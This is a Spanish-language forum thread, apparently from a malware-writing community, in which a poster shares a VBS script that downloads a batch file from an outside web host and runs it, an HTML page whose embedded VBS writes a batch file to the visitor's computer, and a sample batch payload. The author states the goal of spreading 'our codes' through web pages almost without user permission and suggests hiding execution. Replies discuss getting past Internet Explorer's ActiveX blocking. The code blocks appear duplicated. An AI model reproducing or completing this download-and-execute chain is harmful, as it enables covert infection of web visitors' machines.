Autor
http://two.xthost.info/smartgenius/codigo.txt
Archivo BAT de Prueba
Código:
mode con cols=60
mode con lines=20
@echo off
title Propagacion a traves de Internet - By :: SmartGenius ::
color 0a
:ini
cls
echo.
echo.
echo Este es un Archivo de Comandos BATCH descargado
echo a traves de internet mediante un Script VBS
echo insertado en una Pagina HTML.
echo.
echo El Script es capaz de Bajar y Ejecutar Codigo, casi
echo sin permiso del Usuario...
echo.
echo Por ahora es Solo una idea, pero espero poder
echo desarrollarlo completamente...
echo.
echo Un Saludo... ;)
echo.
pause
exit
mode con lines=20
@echo off
title Propagacion a traves de Internet - By :: SmartGenius ::
color 0a
:ini
cls
echo.
echo.
echo Este es un Archivo de Comandos BATCH descargado
echo a traves de internet mediante un Script VBS
echo insertado en una Pagina HTML.
echo.
echo El Script es capaz de Bajar y Ejecutar Codigo, casi
echo sin permiso del Usuario...
echo.
echo Por ahora es Solo una idea, pero espero poder
echo desarrollarlo completamente...
echo.
echo Un Saludo... ;)
echo.
pause
exit
El cual puede ser una serie de comandos Batch, ya sea de virus o bromas o cualquier otra cosa, o puede ser tambien cualquier otro archivo...
Ahora tomemos un script VBS que nos descarga y nos ejecuta el archivo...
VBS Downloader
Código:
Set aVar = CreateObject("Microsoft.XMLHTTP")
aVar.Open "GET","http://two.xthost.info/smartgenius/codigo.txt",0
aVar.Send()
Set sDow = CreateObject("ADODB.Stream")
sDow.Mode = 3
sDow.Type = 1
sDow.Open()
sDow.Write(aVar.responseBody)
sDow.SaveToFile "codigo.bat",2
Set codigo = CreateObject("WScript.Shell")
codigo.Run "Codigo.bat"
aVar.Open "GET","http://two.xthost.info/smartgenius/codigo.txt",0
aVar.Send()
Set sDow = CreateObject("ADODB.Stream")
sDow.Mode = 3
sDow.Type = 1
sDow.Open()
sDow.Write(aVar.responseBody)
sDow.SaveToFile "codigo.bat",2
Set codigo = CreateObject("WScript.Shell")
codigo.Run "Codigo.bat"
y por ultimo una pagina HTML con codigo VBS insertado para crear archivos de texto plano en la PC...
Pagina HTML Decorada...xD
Código:
<HTML>
<HEAD><TITLE>.:: SmartGenius - powered by iSmart ::.</TITLE>
</HEAD>
<BODY bgColor=#000000 text="green">
<script language="vbs">
Dim smart, archivo
Set smart = CreateObject("Scripting.FileSystemObject")
set archivo= smart.CreateTextFile("pepito.bat", True)
archivo.WriteLine("@echo off")
archivo.WriteLine("title SmartGenius")
archivo.WriteLine("color 0a")
archivo.WriteLine("echo Hola")
archivo.WriteLine("echo Codigo de Prueba")
archivo.WriteLine("pause")
archivo.close
</script>
<center><h1>Propagacion de Code a traves de Internet</h1><br><br>Demostracion de Descarga y Ejecucion de Codigo...by :: SmartGenius ::</center>
</BODY>
</HTML>
<HEAD><TITLE>.:: SmartGenius - powered by iSmart ::.</TITLE>
</HEAD>
<BODY bgColor=#000000 text="green">
<script language="vbs">
Dim smart, archivo
Set smart = CreateObject("Scripting.FileSystemObject")
set archivo= smart.CreateTextFile("pepito.bat", True)
archivo.WriteLine("@echo off")
archivo.WriteLine("title SmartGenius")
archivo.WriteLine("color 0a")
archivo.WriteLine("echo Hola")
archivo.WriteLine("echo Codigo de Prueba")
archivo.WriteLine("pause")
archivo.close
</script>
<center><h1>Propagacion de Code a traves de Internet</h1><br><br>Demostracion de Descarga y Ejecucion de Codigo...by :: SmartGenius ::</center>
</BODY>
</HTML>
Entonces, la pagina HTML crea un archio en la PC, en este caso un Bat que dice prueba y no mas...
La teoria seria que la pagina HTML creara y ejecutara el segundo codigo, el VBS Downloader y este se encarga de descargar y ejecutar el resto...
Pueden guardar el VBS Downloader y ejecutarlo y veran como descarga y ejecuta el otro bat, y seria posible hacerlo de manera oculta agregando al final ,vbHide...
Hasta aqui todo bien, lo unico que no logro hacer es crear el codigo del VBS Downloader a partir de la pagina HTML.... ya que como es un code VBS creando otro VBS es en ese momento donde hay un problema porque hay ciertos caracteres y funciones reservadas, y no logro que el code salga bien...
Es por ahora una teoria, pero espero poder desarrollarla completamente y dar una nueva posibilidad de propagacion a nuestros codes...
Agradeceria un poco de ayuda, de los expertos en VBS...NovLucker ??..
Un Saludo.
En línea
y bueno gracias por el Codigo voy a investigar como usar esto del Microsoft.XMLHTTP y ADOdb
.. no se si esto venga por temas de algún parche o limitaciones que pueda tener un sistema... un claro ejemplo de esto puede ser el objeto que se utiliza para automatización del outlook.... el cual, después de la aparición de virus como el Ana Kournikova, microsoft limito casi enteramente su uso....
no estoy juzgando a nadie solo decia 
y mucho gusto Dario ... con respecto a eso del ActiveX es cierto todas las paginas son bloqueadas .. con el Filtro de Seguridad del IE 7.0 pero quien sabe habra algo para desactivarlas 
y por un enlace de Web ejecutar Script en un equipo Cliente 
